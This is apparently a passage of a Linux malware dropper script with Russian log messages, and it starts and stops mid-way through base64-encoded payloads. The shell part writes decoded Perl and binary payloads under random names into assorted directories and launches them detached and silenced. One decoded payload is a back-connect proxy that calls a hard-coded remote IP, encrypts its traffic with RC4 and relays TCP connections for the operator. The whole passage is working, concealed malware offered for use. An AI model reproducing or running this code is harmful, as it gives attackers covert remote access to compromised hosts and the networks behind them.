ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #2 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #2 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 3 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 